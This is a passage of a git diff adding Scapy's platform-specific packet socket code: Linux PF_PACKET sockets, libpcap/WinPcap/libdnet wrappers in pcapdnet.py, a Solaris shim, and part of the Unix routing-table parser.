+        self.outs = self.ins
+        self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30)
+        sa_ll = self.outs.getsockname()
+        if sa_ll[3] in conf.l2types:
+            self.LL = conf.l2types[sa_ll[3]]
+        elif sa_ll[1] in conf.l3types:
+            self.LL = conf.l3types[sa_ll[1]]
+        else:
+            self.LL = conf.default_l2
+            warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], self.LL.name)
+    def close(self):
+        if self.closed:
+            return
+        self.closed = 1
+        if self.promisc:
+            set_promisc(self.ins, self.iface, 0)
+        SuperSocket.close(self)
+    def recv(self, x=MTU):
+        pkt, sa_ll = self.ins.recvfrom(x)
+        if sa_ll[2] == socket.PACKET_OUTGOING:
+            return None
+        try:
+            q = self.LL(pkt)
+        except KeyboardInterrupt:
+            raise
+        except:
+            if conf.debug_dissector:
+                raise
+            q = conf.raw_layer(pkt)
+        q.time = get_last_packet_timestamp(self.ins)
+        return q
+    def send(self, x):
+        try:
+            return SuperSocket.send(self, x)
+        except socket.error as msg:
+            if msg[0] == 22 and len(x) < conf.min_pkt_size:
+                padding = b"\x00" * (conf.min_pkt_size - len(x))
+                if isinstance(x, Packet):
+                    return SuperSocket.send(self, x / Padding(load=padding))
+                else:
+                    return SuperSocket.send(self, raw(x) + padding)
+            raise
+
+
+class L2ListenSocket(SuperSocket):
+    desc = "read packets at layer 2 using Linux PF_PACKET sockets"
+    def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None, nofilter=0):
+        self.type = type
+        self.outs = None
+        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
+        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0)
+        if iface is not None:
+            self.ins.bind((iface, type))
+        if not nofilter:
+            if conf.except_filter:
+                if filter:
+                    filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                else:
+                    filter = "not (%s)" % conf.except_filter
+            if filter is not None:
+                attach_filter(self.ins, filter, iface)
+        if promisc is None:
+            promisc = conf.sniff_promisc
+        self.promisc = promisc
+        if iface is None:
+            self.iff = get_if_list()
+        elif isinstance(iface, list):
+            self.iff = iface
+        else:
+            self.iff = [iface]
+        if self.promisc:
+            for i in self.iff:
+                set_promisc(self.ins, i)
+        _flush_fd(self.ins)
+        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
+    def close(self):
+        if self.promisc:
+            for i in self.iff:
+                set_promisc(self.ins, i, 0)
+        SuperSocket.close(self)
+
+    def recv(self, x=MTU):
+        pkt, sa_ll = self.ins.recvfrom(x)
+        if sa_ll[3] in conf.l2types :
+            cls = conf.l2types[sa_ll[3]]
+        elif sa_ll[1] in conf.l3types:
+            cls = conf.l3types[sa_ll[1]]
+        else:
+            cls = conf.default_l2
+            warning("Unable to guess type (interface=%s protocol=%#x "
+                    "family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3],
+                                              cls.name)
+
+        try:
+            pkt = cls(pkt)
+        except KeyboardInterrupt:
+            raise
+        except:
+            if conf.debug_dissector:
+                raise
+            pkt = conf.raw_layer(pkt)
+        pkt.time = get_last_packet_timestamp(self.ins)
+        pkt.direction = sa_ll[2]
+        return pkt
+    
+    def send(self, x):
+        raise Scapy_Exception("Can't send anything with L2ListenSocket")
+
+
+conf.L3socket = L3PacketSocket
+conf.L2socket = L2Socket
+conf.L2listen = L2ListenSocket
diff --git a/scapy/arch/pcapdnet.py b/scapy/arch/pcapdnet.py
new file mode 100644
index 0000000..473f784
--- /dev/null
+++ b/scapy/arch/pcapdnet.py
@@ -0,0 +1,748 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Packet sending and receiving with libdnet and libpcap/WinPcap.
+"""
+
+import time, struct, sys, platform
+import socket
+if not sys.platform.startswith("win"):
+    from fcntl import ioctl
+
+from scapy.data import *
+from scapy.compat import *
+from scapy.config import conf
+from scapy.utils import mac2str
+from scapy.supersocket import SuperSocket
+from scapy.error import Scapy_Exception, log_loading, warning
+from scapy.pton_ntop import inet_ntop
+from scapy.automaton import SelectableObject
+import scapy.arch
+import scapy.consts
+
+if conf.use_winpcapy:
+  NPCAP_PATH = os.environ["WINDIR"] + "\\System32\\Npcap"
+  #  Part of the code from https://github.com/phaethon/scapy translated to python2.X
+  try:
+      from scapy.modules.winpcapy import *
+      def winpcapy_get_if_list():
+          err = create_string_buffer(PCAP_ERRBUF_SIZE)
+          devs = POINTER(pcap_if_t)()
+          ret = []
+          if pcap_findalldevs(byref(devs), err) < 0:
+              return ret
+          try:
+              p = devs
+              while p:
+                  ret.append(plain_str(p.contents.name))
+                  p = p.contents.next
+              return ret
+          except:
+              raise
+          finally:
+              pcap_freealldevs(devs)
+      # Detect Pcap version
+      version = pcap_lib_version()
+      if b"winpcap" in version.lower():
+          if os.path.exists(NPCAP_PATH + "\\wpcap.dll"):
+              warning("Winpcap is installed over Npcap. Will use Winpcap (see 'Winpcap/Npcap conflicts' in scapy's docs)", onlyOnce=True)
+          elif platform.release() != "XP":
+              warning("WinPcap is now deprecated (not maintened). Please use Npcap instead", onlyOnce=True)
+      elif b"npcap" in version.lower():
+          conf.use_npcap = True
+          LOOPBACK_NAME = scapy.consts.LOOPBACK_NAME = "Npcap Loopback Adapter"
+  except OSError as e:
+      def winpcapy_get_if_list():
+          return []
+      conf.use_winpcapy = False
+      if conf.interactive:
+          log_loading.warning("wpcap.dll is not installed. You won't be able to send/recieve packets. Visit the scapy's doc to install it")
+
+  # From BSD net/bpf.h
+  #BIOCIMMEDIATE=0x80044270
+  BIOCIMMEDIATE=-2147204496
+
+  class PcapTimeoutElapsed(Scapy_Exception):
+      pass
+
+  def get_if_raw_addr(iff):
+    """Returns the raw ip address corresponding to the NetworkInterface."""
+    if conf.cache_ipaddrs:
+        return conf.cache_ipaddrs.get(iff.pcap_name, None)
+    err = create_string_buffer(PCAP_ERRBUF_SIZE)
+    devs = POINTER(pcap_if_t)()
+
+    if pcap_findalldevs(byref(devs), err) < 0:
+      return None
+    try:
+      p = devs
+      while p:
+          a = p.contents.addresses
+          while a:
+            if a.contents.addr.contents.sa_family == socket.AF_INET:
+              ap = a.contents.addr
+              val = cast(ap, POINTER(sockaddr_in))
+              if_raw_addr = b"".join(chb(x) for x in val.contents.sin_addr[:4])
+              if if_raw_addr != b'\x00\x00\x00\x00':
+                  conf.cache_ipaddrs[plain_str(p.contents.name)] = if_raw_addr
+            a = a.contents.next
+          p = p.contents.next
+      return conf.cache_ipaddrs.get(iff.pcap_name, None)
+    finally:
+      pcap_freealldevs(devs)
+  if conf.use_winpcapy:
+      def get_if_list():
+          """Returns all pcap names"""
+          if conf.cache_iflist:
+              return conf.cache_iflist
+          iflist = winpcapy_get_if_list()
+          conf.cache_iflist = iflist
+          return iflist
+  else:
+    get_if_list = winpcapy_get_if_list
+
+  def in6_getifaddr_raw():
+    """Returns all available IPv6 on the computer, read from winpcap."""
+    err = create_string_buffer(PCAP_ERRBUF_SIZE)
+    devs = POINTER(pcap_if_t)()
+    ret = []
+    if pcap_findalldevs(byref(devs), err) < 0:
+      return ret
+    try:
+      p = devs
+      ret = []
+      while p:
+        a = p.contents.addresses
+        while a:
+          if a.contents.addr.contents.sa_family == socket.AF_INET6:
+            ap = a.contents.addr
+            val = cast(ap, POINTER(sockaddr_in6))
+            addr = inet_ntop(socket.AF_INET6, b"".join(chb(x) for x in val.contents.sin6_addr[:]))
+            scope = scapy.utils6.in6_getscope(addr)
+            ret.append((addr, scope, plain_str(p.contents.name)))
+          a = a.contents.next
+        p = p.contents.next
+      return ret
+    finally:
+      pcap_freealldevs(devs)
+
+  from ctypes import POINTER, byref, create_string_buffer
+  class _PcapWrapper_pypcap:
+      """Wrapper for the WinPcap calls"""
+      def __init__(self, device, snaplen, promisc, to_ms):
+          self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE)
+          self.iface = create_string_buffer(device.encode("utf8"))
+          self.pcap = pcap_open_live(self.iface, snaplen, promisc, to_ms, self.errbuf)
+          self.header = POINTER(pcap_pkthdr)()
+          self.pkt_data = POINTER(c_ubyte)()
+          self.bpf_program = bpf_program()
+      def next(self):
+          c = pcap_next_ex(self.pcap, byref(self.header), byref(self.pkt_data))
+          if not c > 0:
+              return
+          ts = self.header.contents.ts.tv_sec + float(self.header.contents.ts.tv_usec) / 1000000
+          pkt = b"".join(chb(i) for i in self.pkt_data[:self.header.contents.len])
+          return ts, pkt
+      __next__ = next
+      def datalink(self):
+          return pcap_datalink(self.pcap)
+      def fileno(self):
+          if sys.platform.startswith("win"):
+            log_loading.error("Cannot get selectable PCAP fd on Windows")
+            return 0
+          return pcap_get_selectable_fd(self.pcap) 
+      def setfilter(self, f):
+          filter_exp = create_string_buffer(f.encode("utf8"))
+          if pcap_compile(self.pcap, byref(self.bpf_program), filter_exp, 0, -1) == -1:
+            log_loading.error("Could not compile filter expression %s", f)
+            return False
+          else:
+            if pcap_setfilter(self.pcap, byref(self.bpf_program)) == -1:
+              log_loading.error("Could not install filter %s", f)
+              return False
+          return True
+      def setnonblock(self, i):
+          pcap_setnonblock(self.pcap, i, self.errbuf)
+      def send(self, x):
+          pcap_sendpacket(self.pcap, x, len(x))
+      def close(self):
+          pcap_close(self.pcap)
+  open_pcap = lambda *args,**kargs: _PcapWrapper_pypcap(*args,**kargs)
+  class PcapTimeoutElapsed(Scapy_Exception):
+      pass
+
+  class L2pcapListenSocket(SuperSocket, SelectableObject):
+      desc = "read packets at layer 2 using libpcap"
+      def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None):
+          self.type = type
+          self.outs = None
+          self.iface = iface
+          if iface is None:
+              iface = conf.iface
+          if promisc is None:
+              promisc = conf.sniff_promisc
+          self.promisc = promisc
+          self.ins = open_pcap(iface, 1600, self.promisc, 100)
+          try:
+              ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1))
+          except:
+              pass
+          if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given
+              if conf.except_filter:
+                  if filter:
+                      filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                  else:
+                      filter = "not (%s)" % conf.except_filter
+              if filter:
+                  self.ins.setfilter(filter)
+  
+      def close(self):
+          self.ins.close()
+
+      def check_recv(self):
+          return True
+          
+      def recv(self, x=MTU):
+          ll = self.ins.datalink()
+          if ll in conf.l2types:
+              cls = conf.l2types[ll]
+          else:
+              cls = conf.default_l2
+              warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name)
+
+          pkt = None
+          while pkt is None:
+              pkt = self.ins.next()
+              if pkt is not None:
+                  ts,pkt = pkt
+              if scapy.arch.WINDOWS and pkt is None:
+                  raise PcapTimeoutElapsed
+          try:
+              pkt = cls(pkt)
+          except KeyboardInterrupt:
+              raise
+          except:
+              if conf.debug_dissector:
+                  raise
+              pkt = conf.raw_layer(pkt)
+          pkt.time = ts
+          return pkt
+  
+      def send(self, x):
+          raise Scapy_Exception("Can't send anything with L2pcapListenSocket")
+  
+
+  conf.L2listen = L2pcapListenSocket
+  class L2pcapSocket(SuperSocket, SelectableObject):
+      desc = "read/write packets at layer 2 using only libpcap"
+      def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None, nofilter=0):
+          if iface is None:
+              iface = conf.iface
+          self.iface = iface
+          if promisc is None:
+              promisc = 0
+          self.promisc = promisc
+          self.ins = open_pcap(iface, 1600, self.promisc, 100)
+          # We need to have a different interface open because of an
+          # access violation in Npcap that occurs in multi-threading
+          # (see https://github.com/nmap/nmap/issues/982)
+          self.outs = open_pcap(iface, 1600, self.promisc, 100)
+          try:
+              ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1))
+          except:
+              pass
+          if nofilter:
+              if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
+                  filter = "ether proto %i" % type
+              else:
+                  filter = None
+          else:
+              if conf.except_filter:
+                  if filter:
+                      filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                  else:
+                      filter = "not (%s)" % conf.except_filter
+              if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
+                  if filter:
+                      filter = "(ether proto %i) and (%s)" % (type,filter)
+                  else:
+                      filter = "ether proto %i" % type
+          if filter:
+              self.ins.setfilter(filter)
+      def send(self, x):
+          sx = raw(x)
+          if hasattr(x, "sent_time"):
+              x.sent_time = time.time()
+          return self.outs.send(sx)
+
+      def check_recv(self):
+          return True
+
+      def recv(self,x=MTU):
+          ll = self.ins.datalink()
+          if ll in conf.l2types:
+              cls = conf.l2types[ll]
+          else:
+              cls = conf.default_l2
+              warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name)
+  
+          pkt = self.ins.next()
+          if pkt is not None:
+              ts,pkt = pkt
+          if pkt is None:
+              return
+          
+          try:
+              pkt = cls(pkt)
+          except KeyboardInterrupt:
+              raise
+          except:
+              if conf.debug_dissector:
+                  raise
+              pkt = conf.raw_layer(pkt)
+          pkt.time = ts
+          return pkt
+  
+      def nonblock_recv(self):
+          self.ins.setnonblock(1)
+          p = self.recv(MTU)
+          self.ins.setnonblock(0)
+          return p
+  
+      def close(self):
+          if not self.closed:
+              if hasattr(self, "ins"):
+                  self.ins.close()
+              if hasattr(self, "outs"):
+                  self.outs.close()
+          self.closed = True
+
+  class L3pcapSocket(L2pcapSocket):
+      desc = "read/write packets at layer 3 using only libpcap"
+      #def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0):
+      #    L2pcapSocket.__init__(self, iface, type, filter, nofilter)
+      def recv(self, x = MTU):
+          r = L2pcapSocket.recv(self, x) 
+          if r:
+            return r.payload
+          else:
+            return
+      def send(self, x):
+          # Makes send detects when it should add Loopback(), Dot11... instead of Ether()
+          ll = self.ins.datalink()
+          if ll in conf.l2types:
+              cls = conf.l2types[ll]
+          else:
+              cls = conf.default_l2
+              warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name)
+          sx = raw(cls()/x)
+          if hasattr(x, "sent_time"):
+              x.sent_time = time.time()
+          return self.ins.send(sx)
+  conf.L2socket=L2pcapSocket
+  conf.L3socket=L3pcapSocket
+    
+if conf.use_pcap:
+    try:
+        import pcap
+    except ImportError as e:
+        try:
+            import pcapy as pcap
+        except ImportError as e2:
+            if conf.interactive:
+                log_loading.error("Unable to import pcap module: %s/%s", e, e2)
+                conf.use_pcap = False
+            else:
+                raise
+    if conf.use_pcap:
+        
+        # From BSD net/bpf.h
+        #BIOCIMMEDIATE=0x80044270
+        BIOCIMMEDIATE=-2147204496
+
+        if hasattr(pcap,"pcap"): # python-pypcap
+            class _PcapWrapper_pypcap:
+                def __init__(self, device, snaplen, promisc, to_ms):
+                    try:
+                        self.pcap = pcap.pcap(device, snaplen, promisc, immediate=1, timeout_ms=to_ms)
+                    except TypeError:
+                        # Older pypcap versions do not support the timeout_ms argument
+                        self.pcap = pcap.pcap(device, snaplen, promisc, immediate=1)                    
+                def __getattr__(self, attr):
+                    return getattr(self.pcap, attr)
+                def __del__(self):
+                    warning("__del__: don't know how to close the file descriptor. Bugs ahead ! Please report this bug.")
+                def next(self):
+                    c = self.pcap.next()
+                    if c is None:
+                        return
+                    ts, pkt = c
+                    return ts, raw(pkt)
+                __next__ = next
+            open_pcap = lambda *args,**kargs: _PcapWrapper_pypcap(*args,**kargs)
+        elif hasattr(pcap,"pcapObject"): # python-libpcap
+            class _PcapWrapper_libpcap:
+                def __init__(self, *args, **kargs):
+                    self.pcap = pcap.pcapObject()
+                    self.pcap.open_live(*args, **kargs)
+                def setfilter(self, filter):
+                    self.pcap.setfilter(filter, 0, 0)
+                def next(self):
+                    c = self.pcap.next()
+                    if c is None:
+                        return
+                    l,pkt,ts = c 
+                    return ts,pkt
+                __next__ = next
+                def __getattr__(self, attr):
+                    return getattr(self.pcap, attr)
+                def __del__(self):
+                    os.close(self.pcap.fileno())
+            open_pcap = lambda *args,**kargs: _PcapWrapper_libpcap(*args,**kargs)
+        elif hasattr(pcap,"open_live"): # python-pcapy
+            class _PcapWrapper_pcapy:
+                def __init__(self, *args, **kargs):
+                    self.pcap = pcap.open_live(*args, **kargs)
+                def next(self):
+                    try:
+                        c = self.pcap.next()
+                    except pcap.PcapError:
+                        return None
+                    else:
+                        h,p = c
+                        if h is None:
+                            return
+                        s,us = h.getts()
+                        return (s+0.000001*us), p
+                __next__ = next
+                def fileno(self):
+                    raise RuntimeError("%s has no fileno. Please report this bug." %
+                                       self.__class__.__name__)
+                def __getattr__(self, attr):
+                    return getattr(self.pcap, attr)
+                def __del__(self):
+                    try:
+                        self.pcap.close()
+                    except AttributeError:
+                        warning("__del__: don't know how to close the file "
+                                "descriptor. Bugs ahead! Please update pcapy!")
+            open_pcap = lambda *args,**kargs: _PcapWrapper_pcapy(*args,**kargs)
+
+        
+        class PcapTimeoutElapsed(Scapy_Exception):
+            pass
+    
+        class L2pcapListenSocket(SuperSocket):
+            desc = "read packets at layer 2 using libpcap"
+            def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None):
+                self.type = type
+                self.outs = None
+                self.iface = iface
+                if iface is None:
+                    iface = conf.iface
+                if promisc is None:
+                    promisc = conf.sniff_promisc
+                self.promisc = promisc
+                self.ins = open_pcap(iface, 1600, self.promisc, 100)
+                try:
+                    ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1))
+                except:
+                    pass
+                if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given
+                    if conf.except_filter:
+                        if filter:
+                            filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                        else:
+                            filter = "not (%s)" % conf.except_filter
+                    if filter:
+                        self.ins.setfilter(filter)
+        
+            def close(self):
+                del(self.ins)
+                
+            def recv(self, x=MTU):
+                ll = self.ins.datalink()
+                if ll in conf.l2types:
+                    cls = conf.l2types[ll]
+                else:
+                    cls = conf.default_l2
+                    warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name)
+        
+                pkt = self.ins.next()
+                if scapy.arch.WINDOWS and pkt is None:
+                        raise PcapTimeoutElapsed
+                if pkt is not None:
+                    ts,pkt = pkt
+                    try:
+                        pkt = cls(pkt)
+                    except KeyboardInterrupt:
+                        raise
+                    except:
+                        if conf.debug_dissector:
+                            raise
+                        pkt = conf.raw_layer(pkt)
+                    pkt.time = ts
+                return pkt
+        
+            def send(self, x):
+                raise Scapy_Exception("Can't send anything with L2pcapListenSocket")
+        
+    
+        conf.L2listen = L2pcapListenSocket
+
+
+if conf.use_dnet:
+    try:
+        try:
+            # First try to import dnet
+            import dnet
+        except ImportError:
+            # Then, try to import dumbnet as dnet
+            import dumbnet as dnet
+    except ImportError as e:
+        if conf.interactive:
+            log_loading.error("Unable to import dnet module: %s", e)
+            conf.use_dnet = False
+            def get_if_raw_hwaddr(iff):
+                "dummy"
+                return (0,b"\0\0\0\0\0\0")
+            def get_if_raw_addr(iff):
+                "dummy"
+                return b"\0\0\0\0"
+            def get_if_list():
+                "dummy"
+                return []
+        else:
+            raise
+    else:
+        def get_if_raw_hwaddr(iff):
+            """Return a tuple containing the link type and the raw hardware
+               address corresponding to the interface 'iff'"""
+
+            if iff == scapy.arch.LOOPBACK_NAME:
+                return (ARPHDR_LOOPBACK, b'\x00'*6)
+
+            # Retrieve interface information
+            try:
+                l = dnet.intf().get(iff)
+                link_addr = l["link_addr"]
+            except:
+                raise Scapy_Exception("Error in attempting to get hw address"
+                                      " for interface [%s]" % iff)
+
+            if hasattr(link_addr, "type"):
+                # Legacy dnet module
+                return link_addr.type, link_addr.data
+
+            else:
+                # dumbnet module
+                mac = mac2str(str(link_addr))
+
+                # Adjust the link type
+                if l["type"] == 6:  # INTF_TYPE_ETH from dnet
+                    return (ARPHDR_ETHER, mac)
+
+                return (l["type"], mac)
+
+        def get_if_raw_addr(ifname):
+            i = dnet.intf()
+            try:
+                return i.get(ifname)["addr"].data
+            except (OSError, KeyError):
+                warning("No MAC address found on %s !" % ifname)
+                return b"\0\0\0\0"
+
+
+        def get_if_list():
+            return [i.get("name", None) for i in dnet.intf()]
+
+
+        def get_working_if():
+            """Returns the first interface than can be used with dnet"""
+
+            if_iter = iter(dnet.intf())
+
+            try:
+                intf = next(if_iter)
+            except StopIteration:
+                return scapy.consts.LOOPBACK_NAME
+
+            return intf.get("name", scapy.consts.LOOPBACK_NAME)
+
+
+if conf.use_pcap and conf.use_dnet:
+    class L3dnetSocket(SuperSocket):
+        desc = "read/write packets at layer 3 using libdnet and libpcap"
+        def __init__(self, type = ETH_P_ALL, promisc=None, filter=None, iface=None, nofilter=0):
+            self.iflist = {}
+            self.intf = dnet.intf()
+            if iface is None:
+                iface = conf.iface
+            self.iface = iface
+            if promisc is None:
+                promisc = 0
+            self.promisc = promisc
+            self.ins = open_pcap(iface, 1600, self.promisc, 100)
+            try:
+                ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1))
+            except:
+                pass
+            if nofilter:
+                if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
+                    filter = "ether proto %i" % type
+                else:
+                    filter = None
+            else:
+                if conf.except_filter:
+                    if filter:
+                        filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                    else:
+                        filter = "not (%s)" % conf.except_filter
+                if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
+                    if filter:
+                        filter = "(ether proto %i) and (%s)" % (type,filter)
+                    else:
+                        filter = "ether proto %i" % type
+            if filter:
+                self.ins.setfilter(filter)
+        def send(self, x):
+            iff,a,gw  = x.route()
+            if iff is None:
+                iff = conf.iface
+            ifs,cls = self.iflist.get(iff,(None,None))
+            if ifs is None:
+                iftype = self.intf.get(iff)["type"]
+                if iftype == dnet.INTF_TYPE_ETH:
+                    try:
+                        cls = conf.l2types[1]
+                    except KeyError:
+                        warning("Unable to find Ethernet class. Using nothing")
+                    ifs = dnet.eth(iff)
+                else:
+                    ifs = dnet.ip()
+                self.iflist[iff] = ifs,cls
+            if cls is None:
+                sx = raw(x)
+            else:
+                sx = raw(cls()/x)
+            x.sent_time = time.time()
+            ifs.send(sx)
+        def recv(self,x=MTU):
+            ll = self.ins.datalink()
+            if ll in conf.l2types:
+                cls = conf.l2types[ll]
+            else:
+                cls = conf.default_l2
+                warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name)
+    
+            pkt = self.ins.next()
+            if pkt is not None:
+                ts,pkt = pkt
+            if pkt is None:
+                return
+    
+            try:
+                pkt = cls(pkt)
+            except KeyboardInterrupt:
+                raise
+            except:
+                if conf.debug_dissector:
+                    raise
+                pkt = conf.raw_layer(pkt)
+            pkt.time = ts
+            return pkt.payload
+    
+        def nonblock_recv(self):
+            self.ins.setnonblock(1)
+            p = self.recv()
+            self.ins.setnonblock(0)
+            return p
+    
+        def close(self):
+            if not self.closed:
+                if hasattr(self, "ins"):
+                    del(self.ins)
+                if hasattr(self, "outs"):
+                    del(self.outs)
+            self.closed = True
+    
+    class L2dnetSocket(SuperSocket):
+        desc = "read/write packets at layer 2 using libdnet and libpcap"
+        def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None, nofilter=0):
+            if iface is None:
+                iface = conf.iface
+            self.iface = iface
+            if promisc is None:
+                promisc = 0
+            self.promisc = promisc
+            self.ins = open_pcap(iface, 1600, self.promisc, 100)
+            try:
+                ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1))
+            except:
+                pass
+            if nofilter:
+                if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
+                    filter = "ether proto %i" % type
+                else:
+                    filter = None
+            else:
+                if conf.except_filter:
+                    if filter:
+                        filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                    else:
+                        filter = "not (%s)" % conf.except_filter
+                if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
+                    if filter:
+                        filter = "(ether proto %i) and (%s)" % (type,filter)
+                    else:
+                        filter = "ether proto %i" % type
+            if filter:
+                self.ins.setfilter(filter)
+            self.outs = dnet.eth(iface)
+        def recv(self,x=MTU):
+            ll = self.ins.datalink()
+            if ll in conf.l2types:
+                cls = conf.l2types[ll]
+            else:
+                cls = conf.default_l2
+                warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name)
+    
+            pkt = self.ins.next()
+            if pkt is not None:
+                ts,pkt = pkt
+            if pkt is None:
+                return
+            
+            try:
+                pkt = cls(pkt)
+            except KeyboardInterrupt:
+                raise
+            except:
+                if conf.debug_dissector:
+                    raise
+                pkt = conf.raw_layer(pkt)
+            pkt.time = ts
+            return pkt
+    
+        def nonblock_recv(self):
+            self.ins.setnonblock(1)
+            p = self.recv(MTU)
+            self.ins.setnonblock(0)
+            return p
+    
+        def close(self):
+            if not self.closed:
+                if hasattr(self, "ins"):
+                    del(self.ins)
+                if hasattr(self, "outs"):
+                    del(self.outs)
+            self.closed = True
+
+    conf.L3socket=L3dnetSocket
+    conf.L2socket=L2dnetSocket
+
+        
+    
diff --git a/scapy/arch/solaris.py b/scapy/arch/solaris.py
new file mode 100644
index 0000000..5b997b8
--- /dev/null
+++ b/scapy/arch/solaris.py
@@ -0,0 +1,14 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Customization for the Solaris operation system.
+"""
+
+# IPPROTO_GRE is missing on Solaris
+import socket
+socket.IPPROTO_GRE = 47
+
+from scapy.arch.unix import *
diff --git a/scapy/arch/unix.py b/scapy/arch/unix.py
new file mode 100644
index 0000000..bd26bc1
--- /dev/null
+++ b/scapy/arch/unix.py
@@ -0,0 +1,336 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Common customizations for all Unix-like operating systems other than Linux
+"""
+
+import sys,os,struct,socket,time
+from fcntl import ioctl
+import socket
+
+from scapy.error import warning, log_interactive
+import scapy.config
+import scapy.utils
+from scapy.utils6 import in6_getscope, construct_source_candidate_set
+from scapy.utils6 import in6_isvalid, in6_ismlladdr, in6_ismnladdr
+from scapy.consts import FREEBSD, NETBSD, OPENBSD, SOLARIS, LOOPBACK_NAME
+from scapy.arch import get_if_addr
+from scapy.config import conf
+
+
+##################
+## Routes stuff ##
+##################
+
+def _guess_iface_name(netif):
+    """
+    We attempt to guess the name of interfaces that are truncated from the
+    output of ifconfig -l.
+    If there is only one possible candidate matching the interface name then we
+    return it.
+    If there are none or more, then we return None.
+    """
+    with os.popen('%s -l' % conf.prog.ifconfig) as fdesc:
+        ifaces = fdesc.readline().strip().split(' ')
+    matches = [iface for iface in ifaces if iface.startswith(netif)]
+    if len(matches) == 1:
+        return matches[0]
+    return None
+
+
+def read_routes():
+    if SOLARIS:
+        f=os.popen("netstat -rvn") # -f inet
+    elif FREEBSD:
+        f=os.popen("netstat -rnW") # -W to handle long interface names
+    else:
+        f=os.popen("netstat -rn") # -f inet
+    ok = 0
+    mtu_present = False
+    prio_present = False
+    routes = []
+    pending_if = []
+    for l in f.readlines():
+        if not l:
+            break
+        l = l.strip()
+        if l.find("----") >= 0: # a separation line
+            continue
+        if not ok:
+            if l.find("Destination") >= 0:
+                ok = 1
+                mtu_present = "Mtu" in l
+                prio_present = "Prio" in l
+                refs_present = "Refs" in l
+            continue
+        if not l:
+            break
+        if SOLARIS:
+            lspl = l.split()
+            if len(lspl) == 10:
+                dest,mask,gw,netif,mxfrg,rtt,ref,flg = lspl[:8]
+            else: # missing interface
+                dest,mask,gw,mxfrg,rtt,ref,flg = lspl[:7]
+                netif=None
+        else:
+            rt = l.split()
+            dest,gw,flg = rt[:3]
+            netif = rt[4 + mtu_present + prio_present + refs_present]
+        if flg.find("Lc") >= 0:
+            continue
+        if dest == "default":
+            dest = 0
+            netmask = 0
+        else:
+            if SOLARIS:
+                netmask = scapy.utils.atol(mask)
+            elif "/" in dest:
+                dest,netmask = dest.split("/")
+                netmask = scapy.utils.itom(int(netmask))
+            else:
+                netmask = scapy.utils.itom((dest.count(".") + 1) * 8)
+            dest += ".0"*(3-dest.count("."))
+            dest = scapy.utils.atol(dest)
+        # XXX: TODO: add metrics for unix.py (use -e option on netstat)
+        metric = 1
+        if not "G" in flg:
+            gw = '0.0.0.0'
+        if netif is not None:
+            try:
+                ifaddr = get_if_addr(netif)
+                routes.append((dest,netmask, gw, netif, ifaddr, metric))
+            except OSError as exc:
+                if exc.message == 'Device not configured':
+                    # This means the interface name is probably truncated by
+                    # netstat -nr. We attempt to guess it's name and if not we
+                    # ignore it.
+                    guessed_netif = _guess_iface_name(netif)
+                    if guessed_netif is not None:
+                        ifaddr = get_if_addr(guessed_netif)
+                        routes.append((dest, netmask, gw, guessed_netif, ifaddr, metric))
+                    else:
+                        warning("Could not guess partial interface name: %s", netif)
+                else:
+                    raise
+        else:
+            pending_if.append((dest,netmask,gw))
+    f.close()
+
+    # On Solaris, netstat does not provide output interfaces for some routes
+    # We need to parse completely the routing table to route their gw and
+    # know their output interface
+    for dest,netmask,gw in pending_if:
+        gw_l = scapy.utils.atol(gw)
+        max_rtmask,gw_if,gw_if_addr, = 0,None,None
+        for rtdst,rtmask,_,rtif,rtaddr in routes[:]:
+            if gw_l & rtmask == rtdst:
+                if rtmask >= max_rtmask:
+                    max_rtmask = rtmask
+                    gw_if = rtif
